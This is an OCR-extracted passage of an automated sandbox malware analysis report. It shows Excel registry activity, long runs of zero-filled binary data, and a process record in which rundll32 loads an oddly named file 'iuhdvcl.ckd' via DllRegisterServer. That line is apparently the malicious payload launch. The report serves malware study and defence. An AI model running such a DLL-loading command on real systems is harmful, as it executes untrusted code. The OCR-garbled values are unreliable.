00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5367203117.xIsx

Copyright Joe Security LLC 2021 Page 31 of 34



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\10CF9E

Key Path Name

Name

10CF9E

Type

Type

binary

Old Data

Data

04 00 00 00 6C 09 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 38 E9
8D C9 10 47 D7 01 9E CF 10 00 9E CF
10 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

New Data

Completion

success or wait

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 2640 Parent PID: 2412

General

Start time:
Start date:
Path:

Copyright Joe Security LLC 2021

02:23:43
12/05/2021
C:\Windows\System32\rundll32.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

Disassembly

Code Analysis

Copyright Joe Security LLC 2021

false

rundll32 .\iuhdvcl.ckd,DIIRegisterServer
0xffab0000

45568 bytes
DD81D91FF3B0763C392422865C9AC12E
true

true

C, C++ or other language

high

Offset Length Completion

Source
Count Address Symbol
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